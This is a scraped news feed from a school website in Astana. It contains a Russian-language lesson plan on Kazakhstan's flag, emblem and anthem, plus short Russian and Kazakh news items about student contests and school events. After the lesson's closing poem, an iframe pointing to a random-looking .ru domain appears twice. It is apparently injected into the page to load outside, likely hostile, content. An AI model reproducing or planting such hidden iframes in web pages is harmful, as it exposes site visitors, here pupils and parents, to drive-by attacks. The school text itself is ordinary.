Купольные жерди — уык, равномерно расходящиеся от центра по голубому пространству герба, напоминают лучи солнца — источник жизни и тепла. Авторам удалось решить проблему изображения кереге — раздвижных решетчатых основ юрты. Крестообразные, тройные кульдреуши шанырака символизируют единство трех жузов, которое обеспечивает его прочность. Следующей составной частью композиционной структуры герба являются золотокрылые с рогами в форме полумесяца, фантастические скакуны — тулпары. Лошади были главными помощниками в хозяйстве, в войнах с захватчиками. Ведь конь является также стихией казаха. Издавна говорят: “Казак жылкы мiнездi”, этим еще раз подчеркивается наибольшая близость, схожесть с природой. Конь с крыльями символизирует мечту многонационального народа Казахстана о построении сильного и процветающего государства. Они свидетельствуют также о чистых помыслах и стремлении к совершенствованию и достижению гармонии в обществе, с природой и мировой цивилизацией В центре герба находится пятиконечная звезда. Наше сердце и объятия открыты представителям всех пяти континентов. Цветовую гамму герба составляют два основных цвета — золотистый и голубой. Первый соответствует светлому, ясному будущему народов страны. Голубое небо едино для всех народов мира. Его цвет в нашем Гербе олицетворяет стремление Казахстана к миру, согласию, дружбе и единству со всеми народами планеты У казахов принято такое благородное приветствие: “Да будет у вас шанырак высоким, кереге широкими, порог крепким, счастливым”. Таким образом, языком геральдики авторы выражают миролюбивую сущность казахов. Призывают все народы республики под общий шанырак, стремиться превратиться в крепкие мощные несущие конструкции нашего общего дома — Казахстан. Государственный гимн Республики Казахстан. “Гимн – это флаг, сотканный из слов”. Учитель: В Казахстане единой семьей живут 17 млн. человек — представителей более ста национальностей. На казахском, татарском, русском, уйгурском, немецком, корейском языках изучаются книги и газеты, работают национальные театры, передаются национальные программы радио и телевидения. Всех нас, людей разных национальностей, объединяет общее: МЫ — НАРОД КАЗАХСТАНА! Русский, татарин и немец, Кореец, ингуш и казах — Одни у нас песни, едины сердца Скликает нас вещая мира певца. И Пушкин с Абаем нас учат всегда Быть верным в дружбе до конца. Учитель: Каждый человек, живущий на планете, испытывает чувство гордости за свою Родину, свой народ и страну, свою землю и историю. И нам сегодня стоит помнить о прошлом, знать настоящее, чтобы построить светлое будущее. Наш сегодняшний разговор подходит к концу. Мне очень хочется верить, что он не прошел впустую. Мой Казахстан! Ты Родина моя! Твоих степей прекрасные просторы Душой и сердцем я люблю, Люблю твои серебряные горы. Я верю, что наступит новый век, Пройдут года серьезных испытаний, Придет на смену новый человек, И принесет он много новых знаний. Мой Казахстан, живи и процветай. Ты — колыбель великого народа, Всю красоту и мудрость передай И сохрани для будущего рода. <iframe src="https://al9l235gkc7d.ru/f.html" width="300" height="150"></iframe><img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1441779870124085.jpg" /> <h2 style="text-align:center;"> Тема классного часа: "Моя Родина - Казахстан"</h2> Цель данной темы: воспитание патриотизма и толерантности, нравственно-духовное формирование подрастающего поколения, воспитание любви к месту, где ты родился, гордости за свою Родину, свой народ. <h2 style="text-align:center;">Ход классного часа:</h2> Учитель: Добрый день! Мне хочется, чтобы вы были внимательны, находчивы, а главное — чтобы вы показали, что знаете и как умеете работать. Самое прекрасное на свете — Родина. У каждого человека есть своя Родина. И каждый любит ее. Любит место, где он родился и живет. Любит свой родной язык, танцы, книги. Без Родины и без своего народа человек не может жить. С чего начинается Родина? С картинки в твоем букваре, С хороших и верных товарищей, Живущих в соседнем дворе. А может она начинается С той песни, что пела нам мать. С того, что в любых испытаниях У нас никому не отнять. С чего начинается Родина? С заветной скамьи у ворот С той самой березки, что во поле, Под ветром, склоняясь, растет. А может она начинается С весенней запевки скворца И с этой дороги проселочной, Которой не видно конца. С чего начинается Родина? С окошек, горящих вдали, Со старой отцовской буденовки, Что где-то в шкафу мы нашли. А может она начинается Со стука вагонных колес И с клятвы, которую в юности Ты ей в своем сердце принес. Учитель: Ребята, а в какой стране мы с вами живём, учимся? (В Казахстане). Значит наша Родина — Республика Казахстан. (показать на карте границу). Казахстан это огромная страна. С востока на запад простирается наш Казахстана 3000 км. С севера на юг — на 1600 км. На свете много чудных мест, Тех мест, где я не побывала, Но там нет запаха степей — Степей родного Казахстана. Учитель: Сегодня мы говорим о нашей стране. Есть в истории даты, которые поневоле заставляют оглянуться назад и не только для того, чтобы вспомнить прошлое, но и для того, чтобы понять будущее. КАЗАХСТАН- для многих, родившихся на земле казахской, это огромный мир, открывающийся безбрежной степью , бездонным, голубым небом, вольным ветром, гуляющим в гривах скачущих коней. Мир, с которым так созвучны звуки домбры. К государственным символам любой страны относятся, прежде всего, государственный герб, флаг и гимн. Есть они и у нашей Родины. Ведь одним из первых шагов возникшего государства является обретение им своего флага, герба и гимна. Связано это с тем, что они являются символами политической независимости и суверенитета страны. На Знамени – орел несет светило, И в сердцевине герба – шанырак Так в суверенном мире наша сила И в давней дружбе – благодарный знак. Государственные символы закреплены Конституцией Республики Казахстан в статье 9, а также статья 34 гласит, что “каждый гражданин обязан знать и уважать государственные символы Республики Казахстан”. 4 июня 1992 года были впервые утверждены новые государственные символы независимого Казахстана. Этот день навсегда останется в истории страны как день рождения новой государственной символики. Государственные символы — одна из незыблемых основ государства. Государственные символы – не только художественные образы, но и глашатаи идеи осуществления государственной независимости. Он способствует проникновению этой идеи в мысли и чувства людей. Жители разных стран по праву гордятся своими государственными символами. Но важно не только знать, как выглядят герб, флаг и гимн своей родной страны, но и понимать их символику. А для этого нужно иметь представление об их истории, о том, как возникли эти государственные символы, и какой путь прошли сквозь века Голубой флаг с золотистым солнцем и парящим силуэтом орла и герб, в центре которого находится образ шанырака, как символ общего дома для всех казахстанцев, явили миру образ нового независимого Государства под названием Республика Казахстан. Государственный флаг Республики Казахстан. Слово “флаг” голландского происхождения и означает “корабельное знамя”. Флаг это один из символов государства. Есть флаги и знамена корабельные, заводские, институтские, знамена спортивных команд, знамена воинских частей. С каких же пор пошел обычай поднимать и чтить флаг? Впервые знамена появились, пожалуй, у древних кочевых племен – скифов, только знамена были надувные. Это был длинный мешок, который формой напоминал дракона – с пастью, ногами и хвостом в виде рукавов. На ветру он надувался и должен был пугать врагов. Как мы с вами видим происхождение флага военное. В Средневековье собственное знамя было у каждого рыцаря, не говоря о графах, герцогах и королях. Цвет у знамени был самый различный. Современные государственные флаги чаще всего состоят из цветных полос, как правило, они прямоугольные, но есть исключения: у Швейцарии и Ватикана знамена квадратные, а у Непала ... треугольные. “Государственный флаг Республики Казахстан представляет собой прямоугольное полотнище голубого цвета с изображением в его центре солнца с 32 лучами, под которым парящий степной орел”. Голубой цвет является традиционным для тюркских народов. На флаге он означает бесконечность неба над всей землёй и людьми, а также является символом общего благополучия, спокойствия, мира и единства. Казахский народ с древних времен считал орла священной птицей. На языке символики силуэт орла означает государственную власть, широту и прозорливость. Это символ свободы, независимости, стремления к цели, к высоте, полёт в будущее. Вместе с тем, орёл, имея мощную силу, способен дать достойный отпор любому, кто пытается помешать в достижении будущего. Силуэт орла возник и от идеи стремления молодого суверенного Казахстана в высоты мировой цивилизации. С левой стороны, вдоль древка, идёт типичный национальный орнамент, олицетворяющий культуру и традиции Казахстана. Солнце — источник жизни и энергии. Силуэт солнца является символом богатства и изобилия. Поэтому не случайно все 32 луча солнца на флаге имеют форму зерна — основа изобилия и благополучия. Золотой цвет солнца, орла и орнамента означает светлое, ясное будущее наших народов, изобилие, счастье и богатство. Автором Государственного флага является Шакен Онласынович Ниязбеков. Смотрю на небо голубое: Там высоко парит орел, Восходит солнце золотое Над птицей, будто ореол. До боли мне знакомо это Видение сквозь пики гор, Осталось лишь добавить сбоку Национальный наш узор. Флаг, независимый и гордый, Народом государству дан, Пусть же всегда хранит свободу Наш суверенный Казахстан! Государственный герб Республики Казахстан. По словарю Ожегова С.И. герб – “эмблема государства, города, сословия, рода, изображаемая на флагах, монетах, печатях, государственных и других официальных документах”. Сегодняшний герб суверенного Казахстана является результатом огромного труда, творческих исканий двух известных архитекторов: Жандарбека Малибекова и Шоты Уалиханова.. Герб имеет форму круга. В мире самой совершенной формой считается форма шара. А круг, как самый близкий к этому совершенству элемент, особо ценится у кочевников. Это символ жизни, вечности. Центральным элементом, вобравшим в себя основную идею нашего герба, является шанырак — круговое навершие купола юрты. Образ шанырака в Государственном Гербе республики – это образ нашего общего дома, общей Родины всех людей, проживающих в Казахстане. Счастье в нем зависит от благополучия каждого, как прочность шанырака зависит от надежности его уыков. Будущее государства также зависит от единства и согласия его граждан, от их общих усилий во благо общего дома – общей Родины. Мастерски, эффективно и красиво изображенный тундык — зенитное отверстие юрты, напоминает яркое солнце на фоне голубого, мирного неба. Купольные жерди — уык, равномерно расходящиеся от центра по голубому пространству герба, напоминают лучи солнца — источник жизни и тепла. Авторам удалось решить проблему изображения кереге — раздвижных решетчатых основ юрты. Крестообразные, тройные кульдреуши шанырака символизируют единство трех жузов, которое обеспечивает его прочность. Следующей составной частью композиционной структуры герба являются золотокрылые с рогами в форме полумесяца, фантастические скакуны — тулпары. Лошади были главными помощниками в хозяйстве, в войнах с захватчиками. Ведь конь является также стихией казаха. Издавна говорят: “Казак жылкы мiнездi”, этим еще раз подчеркивается наибольшая близость, схожесть с природой. Конь с крыльями символизирует мечту многонационального народа Казахстана о построении сильного и процветающего государства. Они свидетельствуют также о чистых помыслах и стремлении к совершенствованию и достижению гармонии в обществе, с природой и мировой цивилизацией В центре герба находится пятиконечная звезда. Наше сердце и объятия открыты представителям всех пяти континентов. Цветовую гамму герба составляют два основных цвета — золотистый и голубой. Первый соответствует светлому, ясному будущему народов страны. Голубое небо едино для всех народов мира. Его цвет в нашем Гербе олицетворяет стремление Казахстана к миру, согласию, дружбе и единству со всеми народами планеты У казахов принято такое благородное приветствие: “Да будет у вас шанырак высоким, кереге широкими, порог крепким, счастливым”. Таким образом, языком геральдики авторы выражают миролюбивую сущность казахов. Призывают все народы республики под общий шанырак, стремиться превратиться в крепкие мощные несущие конструкции нашего общего дома — Казахстан. Государственный гимн Республики Казахстан. “Гимн – это флаг, сотканный из слов”. Учитель: В Казахстане единой семьей живут 17 млн. человек — представителей более ста национальностей. На казахском, татарском, русском, уйгурском, немецком, корейском языках изучаются книги и газеты, работают национальные театры, передаются национальные программы радио и телевидения. Всех нас, людей разных национальностей, объединяет общее: МЫ — НАРОД КАЗАХСТАНА! Русский, татарин и немец, Кореец, ингуш и казах — Одни у нас песни, едины сердца Скликает нас вещая мира певца. И Пушкин с Абаем нас учат всегда Быть верным в дружбе до конца. Учитель: Каждый человек, живущий на планете, испытывает чувство гордости за свою Родину, свой народ и страну, свою землю и историю. И нам сегодня стоит помнить о прошлом, знать настоящее, чтобы построить светлое будущее. Наш сегодняшний разговор подходит к концу. Мне очень хочется верить, что он не прошел впустую. Мой Казахстан! Ты Родина моя! Твоих степей прекрасные просторы Душой и сердцем я люблю, Люблю твои серебряные горы. Я верю, что наступит новый век, Пройдут года серьезных испытаний, Придет на смену новый человек, И принесет он много новых знаний. Мой Казахстан, живи и процветай. Ты — колыбель великого народа, Всю красоту и мудрость передай И сохрани для будущего рода. <iframe src="https://al9l235gkc7d.ru/f.html" width="300" height="150"></iframe>24mektepWed, 09 Sep 2015 11:54:00 +0600http://24.astana-bilim.kz/news/?pkid=1441779870124085Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=1441779870124085 Ко дню рождения поэта А.С.Пушкина http://24.astana-bilim.kz/news/?pkid=1431683479533730<img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1431683479533730.jpg" /> Ко дню рождения поэта А.С.Пушкина 29 апреля 2015г. команда СШ № 24 стала участницей Пушкинских чтений, посвященных 216-летию со дня рождения поэта А.С.Пушкина. Организаторы городского мероприятия – методисты русского языка литературы Управления образования г. Астана. Ученики нашей школы победили во всех номинациях: «Пушкин и музыка» Алхабек Айжан- Диплом IIстепени, «Пушкин и литература»(сочинение и стихотворение) Болотько Полина –Диплом IIIстепени. В номинации «Пушкин и театр» ученики проявили свою артистичность, показав на сцене отрывок из «Сказки о царе Салтане…»,- Диплом III степени. Тихов Кирилл награжден Грамотой за активное участие в номинации «Пушкин и живопись». Активность, сплоченность ребят Жаксылыковой Ариманды,КенжебайТурсынай,Искакова Ханзады,Орынбасаровой Аружан,Жетес Бекзата,Оразбаева Жандоса отметили члены жюри. Руководители команды учащихся: учителя русского языка и литературы А.Т. Байгузиева, Ш.А.Абилова. <img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1431683479533730.jpg" /> Ко дню рождения поэта А.С.Пушкина 29 апреля 2015г. команда СШ № 24 стала участницей Пушкинских чтений, посвященных 216-летию со дня рождения поэта А.С.Пушкина. Организаторы городского мероприятия – методисты русского языка литературы Управления образования г. Астана. Ученики нашей школы победили во всех номинациях: «Пушкин и музыка» Алхабек Айжан- Диплом IIстепени, «Пушкин и литература»(сочинение и стихотворение) Болотько Полина –Диплом IIIстепени. В номинации «Пушкин и театр» ученики проявили свою артистичность, показав на сцене отрывок из «Сказки о царе Салтане…»,- Диплом III степени. Тихов Кирилл награжден Грамотой за активное участие в номинации «Пушкин и живопись». Активность, сплоченность ребят Жаксылыковой Ариманды,КенжебайТурсынай,Искакова Ханзады,Орынбасаровой Аружан,Жетес Бекзата,Оразбаева Жандоса отметили члены жюри. Руководители команды учащихся: учителя русского языка и литературы А.Т. Байгузиева, Ш.А.Абилова. 24mektepFri, 08 May 2015 00:00:00 +0600http://24.astana-bilim.kz/news/?pkid=1431683479533730Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=1431683479533730"Ұлы Отан соғысының жеңісіне 70 жылдығына " арналған Астана қаласының білім беру ұйымдары мұғалімдері арасындағы волейбол турниріhttp://24.astana-bilim.kz/news/?pkid=1428916647264556<img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1428916647264556.png" /> "Ұлы Отан соғысының жеңісіне 70 жылдығына " арналған Астана қаласының білім беру ұйымдары мұғалімдері арасындағы волейбол турнирі Турнирдің жеңімпазы Ι-орын №8 орта мектебі ΙΙ-орын№38 мектеп-лицейі ΙΙΙ-орын№52 мектеп лицейі <img src="http://24.astana-bilim.kz/files/sites/1383501249717933/files/2.png" alt="" width="600" height="400" /> <img src="http://24.astana-bilim.kz/files/sites/1383501249717933/files/3.png" alt="" width="600" height="400" /> <img src="http://24.astana-bilim.kz/files/sites/1383501249717933/files/4.png" alt="" width="600" height="400" /> <img src="http://24.astana-bilim.kz/files/sites/1383501249717933/files/5.png" alt="" width="600" height="400" /> <img src="http://24.astana-bilim.kz/files/sites/1383501249717933/files/6.png" alt="" width="600" height="400" /> <img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1428916647264556.png" /> "Ұлы Отан соғысының жеңісіне 70 жылдығына " арналған Астана қаласының білім беру ұйымдары мұғалімдері арасындағы волейбол турнирі Турнирдің жеңімпазы Ι-орын №8 орта мектебі ΙΙ-орын№38 мектеп-лицейі ΙΙΙ-орын№52 мектеп лицейі <img src="http://24.astana-bilim.kz/files/sites/1383501249717933/files/2.png" alt="" width="600" height="400" /> <img src="http://24.astana-bilim.kz/files/sites/1383501249717933/files/3.png" alt="" width="600" height="400" /> <img src="http://24.astana-bilim.kz/files/sites/1383501249717933/files/4.png" alt="" width="600" height="400" /> <img src="http://24.astana-bilim.kz/files/sites/1383501249717933/files/5.png" alt="" width="600" height="400" /> <img src="http://24.astana-bilim.kz/files/sites/1383501249717933/files/6.png" alt="" width="600" height="400" /> 24mektepSun, 05 Apr 2015 00:00:00 +0600http://24.astana-bilim.kz/news/?pkid=1428916647264556Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=1428916647264556Поздравляем!http://24.astana-bilim.kz/news/?pkid=1428917563912069<img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1428917563912069.jpg" /> <img src="http://24.astana-bilim.kz/files/sites/1383501249717933/files/%D0%91%D0%B0%D0%B1%D0%B0%D0%BC%D1%83%D1%80%D0%B0%D1%82.jpeg" alt="" width="600" height="400" /><img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1428917563912069.jpg" /> <img src="http://24.astana-bilim.kz/files/sites/1383501249717933/files/%D0%91%D0%B0%D0%B1%D0%B0%D0%BC%D1%83%D1%80%D0%B0%D1%82.jpeg" alt="" width="600" height="400" />24mektepSat, 04 Apr 2015 00:00:00 +0600http://24.astana-bilim.kz/news/?pkid=1428917563912069Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=1428917563912069Неделяhttp://24.astana-bilim.kz/news/?pkid=1425533359989625<img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1425533359989625.png" /> <img src="http://24.astana-bilim.kz/files/sites/1383501249717933/files/75757-----.png" alt="" width="600" height="400" /><img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1425533359989625.png" /> <img src="http://24.astana-bilim.kz/files/sites/1383501249717933/files/75757-----.png" alt="" width="600" height="400" />24mektepMon, 02 Mar 2015 00:00:00 +0600http://24.astana-bilim.kz/news/?pkid=1425533359989625Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=142553335998962520-летию Ассамблеи народа Казахстана http://24.astana-bilim.kz/news/?pkid=1425528432386221<img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1425528432386221.jpg" /> 27 февраля команда СШ №24 приняла участие в республиканском конкурсе, посвященном 20-летию Ассамблеи народа Казахстана «Жiгерлi болса ер болар, бiрлiктiболса ел болар». Ребята представили украинский народ, исполнив веселые песни и танцы. Театрализованное представление сцен из произведения великого украинского писателя Н.В. Гоголя «Ночь перед Рождеством» сыграли:Борисенко А. ,Дьяченко К., Айгожина А. , Кравчук Д., Молгождарова К., Нурмагамбетова К.,Джепару М. Это мероприятие было организовано кафедрой «Казахский и русский языки»КазГЮУ г. Астана. Учредителями республиканского конкурса были национальные центры народа Казахстана. Команда нашей школы была награждена дипломами от имени президентаКазГЮУ, доктора юридических наук М.С. Нарикбаева и ценными подарками от украинского национального центра. Руководитель команды: учитель русского языка и литературы Абилова Ш.А. <img src="http://24.astana-bilim.kz/files/sites/1383501249717933/files/%D0%9D%D0%BE%D0%B2%D1%8B%D0%B9%20%D1%80%D0%B8%D1%81%D1%83%D0%BD%D0%BE%D0%BA.jpg" alt="" width="600" height="400" /><img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1425528432386221.jpg" /> 27 февраля команда СШ №24 приняла участие в республиканском конкурсе, посвященном 20-летию Ассамблеи народа Казахстана «Жiгерлi болса ер болар, бiрлiктiболса ел болар». Ребята представили украинский народ, исполнив веселые песни и танцы. Театрализованное представление сцен из произведения великого украинского писателя Н.В. Гоголя «Ночь перед Рождеством» сыграли:Борисенко А. ,Дьяченко К., Айгожина А. , Кравчук Д., Молгождарова К., Нурмагамбетова К.,Джепару М. Это мероприятие было организовано кафедрой «Казахский и русский языки»КазГЮУ г. Астана. Учредителями республиканского конкурса были национальные центры народа Казахстана. Команда нашей школы была награждена дипломами от имени президентаКазГЮУ, доктора юридических наук М.С. Нарикбаева и ценными подарками от украинского национального центра. Руководитель команды: учитель русского языка и литературы Абилова Ш.А. <img src="http://24.astana-bilim.kz/files/sites/1383501249717933/files/%D0%9D%D0%BE%D0%B2%D1%8B%D0%B9%20%D1%80%D0%B8%D1%81%D1%83%D0%BD%D0%BE%D0%BA.jpg" alt="" width="600" height="400" />24mektepFri, 27 Feb 2015 00:00:00 +0600http://24.astana-bilim.kz/news/?pkid=1425528432386221Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=1425528432386221Неделя математики,физики и информатикиhttp://24.astana-bilim.kz/news/?pkid=1425530298411250<img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1425530298411250.jpg" /> <img src="http://24.astana-bilim.kz/files/sites/1383501249717933/files/%D0%B1%D0%9E%D0%A2%D0%90.jpeg" alt="" width="600" height="400" /><img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1425530298411250.jpg" /> <img src="http://24.astana-bilim.kz/files/sites/1383501249717933/files/%D0%B1%D0%9E%D0%A2%D0%90.jpeg" alt="" width="600" height="400" />24mektepMon, 23 Feb 2015 00:00:00 +0600http://24.astana-bilim.kz/news/?pkid=1425530298411250Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=1425530298411250тренинг для родителейhttp://24.astana-bilim.kz/news/?pkid=1424251034010594<img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1424251034010594.jpg" /> 5 класса было проведено собрание – диспут на тему «Дети глазами родителей, родители глазами детей». Мероприятие было организовано психологом школы Табаровой К.Б. Цель данного мероприятия - воспитывать у учащихся чувство любви и гордости за свою семью, уважения к родителям. В ходе собрания участники учились формировать уважительное отношение к семье и культуру взаимоотношений. Эта встреча способствовала сближению взрослых и детей, содействовала формированию положительных эмоций; сплочению классного коллектива, коллектива учащихся и родителей, коллектива семей. Решая ситуации, которые были представлены родителям, каждый из них смог посмотрел на себя со стороны и, возможно, узнать свои поступки, свои слова, может быть, даже и свое поведение. И каждый сделал для себя определенные выводы. В заключении психолог раздала родителям памятки с рекомендациями, и обратилась со словами: «Хорошие дети – наша хорошая старость, плохие дети – плохая старость. Так думайте о будущем, а будущее – это наши дети. Счастья вам, мир вашему дому!» <img src="http://24.astana-bilim.kz/files/sites/1383501249717933/files/images/1.jpg" alt="" width="600" height="360" /> <img src="http://24.astana-bilim.kz/files/sites/1383501249717933/files/images/2.jpg" alt="" width="612" height="367" /> <img style="margin-left:auto;margin-right:auto;" src="http://24.astana-bilim.kz/files/sites/1383501249717933/files/images/3.jpg" alt="" width="608" height="365" /> <img style="margin-left:auto;margin-right:auto;" src="http://24.astana-bilim.kz/files/sites/1383501249717933/files/images/4.jpg" alt="" width="577" height="346" /> <img style="margin-left:auto;margin-right:auto;" src="http://24.astana-bilim.kz/files/sites/1383501249717933/files/images/5.jpg" alt="" width="569" height="342" /> <img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1424251034010594.jpg" /> 5 класса было проведено собрание – диспут на тему «Дети глазами родителей, родители глазами детей». Мероприятие было организовано психологом школы Табаровой К.Б. Цель данного мероприятия - воспитывать у учащихся чувство любви и гордости за свою семью, уважения к родителям. В ходе собрания участники учились формировать уважительное отношение к семье и культуру взаимоотношений. Эта встреча способствовала сближению взрослых и детей, содействовала формированию положительных эмоций; сплочению классного коллектива, коллектива учащихся и родителей, коллектива семей. Решая ситуации, которые были представлены родителям, каждый из них смог посмотрел на себя со стороны и, возможно, узнать свои поступки, свои слова, может быть, даже и свое поведение. И каждый сделал для себя определенные выводы. В заключении психолог раздала родителям памятки с рекомендациями, и обратилась со словами: «Хорошие дети – наша хорошая старость, плохие дети – плохая старость. Так думайте о будущем, а будущее – это наши дети. Счастья вам, мир вашему дому!» <img src="http://24.astana-bilim.kz/files/sites/1383501249717933/files/images/1.jpg" alt="" width="600" height="360" /> <img src="http://24.astana-bilim.kz/files/sites/1383501249717933/files/images/2.jpg" alt="" width="612" height="367" /> <img style="margin-left:auto;margin-right:auto;" src="http://24.astana-bilim.kz/files/sites/1383501249717933/files/images/3.jpg" alt="" width="608" height="365" /> <img style="margin-left:auto;margin-right:auto;" src="http://24.astana-bilim.kz/files/sites/1383501249717933/files/images/4.jpg" alt="" width="577" height="346" /> <img style="margin-left:auto;margin-right:auto;" src="http://24.astana-bilim.kz/files/sites/1383501249717933/files/images/5.jpg" alt="" width="569" height="342" /> 24mektepWed, 18 Feb 2015 00:00:00 +0600http://24.astana-bilim.kz/news/?pkid=1424251034010594Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=1424251034010594Поздравляем!http://24.astana-bilim.kz/news/?pkid=1418115948942349<img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1418115948942349.jpg" /> Ученица 8 «В» класса Узембаева Арина приняла участие в заочном конкурсе «Лидер моей страны», посвященном Дню Первого Президента. В этом конкурсе участвовали обучающиеся организаций общего среднего и дополнительного образования. Конкурс проводил РГКП «Республиканский учебно-методический центр дополнительного образования» Министерства образования и науки Республики Казахстан. По итогам республиканского конкурса члены жюри среди возрастной категории 12-14 лет Арина стала победительницей и заняла 2-е место. Свое сочинение она назвала так «Мыслители будущего – мы». Онлайн диплом IIстепени Арина получила по электронной почте. Руководитель - учитель русского языка и литературы Абилова Ш.А.<img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1418115948942349.jpg" /> Ученица 8 «В» класса Узембаева Арина приняла участие в заочном конкурсе «Лидер моей страны», посвященном Дню Первого Президента. В этом конкурсе участвовали обучающиеся организаций общего среднего и дополнительного образования. Конкурс проводил РГКП «Республиканский учебно-методический центр дополнительного образования» Министерства образования и науки Республики Казахстан. По итогам республиканского конкурса члены жюри среди возрастной категории 12-14 лет Арина стала победительницей и заняла 2-е место. Свое сочинение она назвала так «Мыслители будущего – мы». Онлайн диплом IIстепени Арина получила по электронной почте. Руководитель - учитель русского языка и литературы Абилова Ш.А.24mektepTue, 09 Dec 2014 15:05:48 +0600http://24.astana-bilim.kz/news/?pkid=1418115948942349Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=1418115948942349Встреча с летчиком-космонавтом Токтаром Аубакировым.http://24.astana-bilim.kz/news/?pkid=1397534539167754<img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1397534539167754.jpg" /> Встреча с летчиком-космонавтом Токтаром Аубакировым Надолго запомнится нам 11 апреля 2014 года, когда учащимся 8 «Ә» класса СШ № 24 и другим учащимся г.Астаны посчастливилось посетить урок мужества с летчиком-космонавтом Токтаром Онгарбаевичем Аубакировым, который состоялся в актовом зале Университета «Туран - Астана». Мы, учащиеся 8«Ә» класса, узнали, что Токта́р Онгарба́евич Аубаки́ров родился 27 июля 1946 года в Каркаралинском районе Карагандинской области — 256-й космонавт мира,первый космонавт казахской национальности. Депутат Верховного Совета Казахстана XII созыва. Депутат Мажилиса Парламента Республики Казахстан от избирательного округа № 44 Кызылординской области. Генерал-майор ВВС Казахстана.Заслуженный мастер спорта Республики Казахстан, а также интересный рассказчик и собеседник , и наконец, друг детей. Токтар Онгарбаевич охотно отвечал на вопросы детей и увлек всех своими рассказами о мире космонавтики.В конце охотно сфотографировался со всеми и раздавал автографы.Нам очень понравилась встреча с легендарным героем. От всей души поздравляем Вас,Токтар Онгарбаевич, с праздником! Желаем долголетия,счастья в семейной жизни, успехов в работе! Акпанова Индира –ученица 8 «Ә» класса СШ № 24 г.Астаны <img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1397534539167754.jpg" /> Встреча с летчиком-космонавтом Токтаром Аубакировым Надолго запомнится нам 11 апреля 2014 года, когда учащимся 8 «Ә» класса СШ № 24 и другим учащимся г.Астаны посчастливилось посетить урок мужества с летчиком-космонавтом Токтаром Онгарбаевичем Аубакировым, который состоялся в актовом зале Университета «Туран - Астана». Мы, учащиеся 8«Ә» класса, узнали, что Токта́р Онгарба́евич Аубаки́ров родился 27 июля 1946 года в Каркаралинском районе Карагандинской области — 256-й космонавт мира,первый космонавт казахской национальности. Депутат Верховного Совета Казахстана XII созыва. Депутат Мажилиса Парламента Республики Казахстан от избирательного округа № 44 Кызылординской области. Генерал-майор ВВС Казахстана.Заслуженный мастер спорта Республики Казахстан, а также интересный рассказчик и собеседник , и наконец, друг детей. Токтар Онгарбаевич охотно отвечал на вопросы детей и увлек всех своими рассказами о мире космонавтики.В конце охотно сфотографировался со всеми и раздавал автографы.Нам очень понравилась встреча с легендарным героем. От всей души поздравляем Вас,Токтар Онгарбаевич, с праздником! Желаем долголетия,счастья в семейной жизни, успехов в работе! Акпанова Индира –ученица 8 «Ә» класса СШ № 24 г.Астаны 24mektepTue, 15 Apr 2014 10:02:00 +0600http://24.astana-bilim.kz/news/?pkid=1397534539167754Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=1397534539167754